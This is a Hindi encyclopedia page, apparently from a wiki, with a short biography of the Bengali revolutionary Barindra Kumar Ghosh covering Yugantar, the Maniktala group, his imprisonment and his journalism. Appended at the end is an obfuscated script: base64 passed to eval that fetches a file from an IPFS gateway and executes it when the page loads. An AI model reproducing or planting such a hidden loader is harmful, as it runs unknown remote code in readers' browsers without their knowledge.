बारीन्द्र कुमार

भारत डिस्कवरी प्रस्तुति
फ़ौज़िया ख़ान (वार्ता | योगदान) द्वारा परिवर्तित 12:27, 20 अप्रैल 2012 का अवतरण ('{{पुनरीक्षण}} '''बारीन्द्र कुमार घोष''' (जन्म: 5 जनवरी, [[1880]...' के साथ नया पन्ना बनाया)
(अंतर) ← पुराना अवतरण | वर्तमान अवतरण (अंतर) | नया अवतरण → (अंतर)
यहाँ जाएँ:नेविगेशन, खोजें
इस लेख का पुनरीक्षण एवं सम्पादन होना आवश्यक है। आप इसमें सहायता कर सकते हैं। "सुझाव"

बारीन्द्र कुमार घोष (जन्म: 5 जनवरी, 1880 - मृत्यु: 18 अप्रैल, 1959) अरविन्द घोष के क्रांतिकारी विचारों से प्रभावित थे।

  • स्वदेशी आंदोलन के परिणामस्वरूप बारीन्द्र कुमार ने क्रातिकारी विचारों का प्रचार करने के लिए 1906 में बंगाली साप्ताहिक युगान्तर का प्रकाशन प्रारम्भ किया।
  • 1907 में क्रातिकारी आतंकवाद की गतिविधियों का संयोजन करने के लिए मणिकतल्ला पार्टी का गठन किया।
  • 1908 में इन्हे गिरफ्तार कर मृत्यु दण्ड की सजा सुनाई गई। किन्तु बाद में इसे आजीवन कारावास में बदल दिया गया।
  • अण्डमान जेल में दस वर्ष व्यतीत करने के बाद इन्होने अपना शेष समय पत्रकारिता में लगाया।
  • बारीन्द्र कुमार घोष बंगाली दैनिक दि स्टेट्समैन और वसुमित्र से भी जुड़े थे।


पन्ने की प्रगति अवस्था
आधार
प्रारम्भिक
माध्यमिक
पूर्णता
शोध

टीका टिप्पणी और संदर्भ

बाहरी कड़ियाँ

संबंधित लेख

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>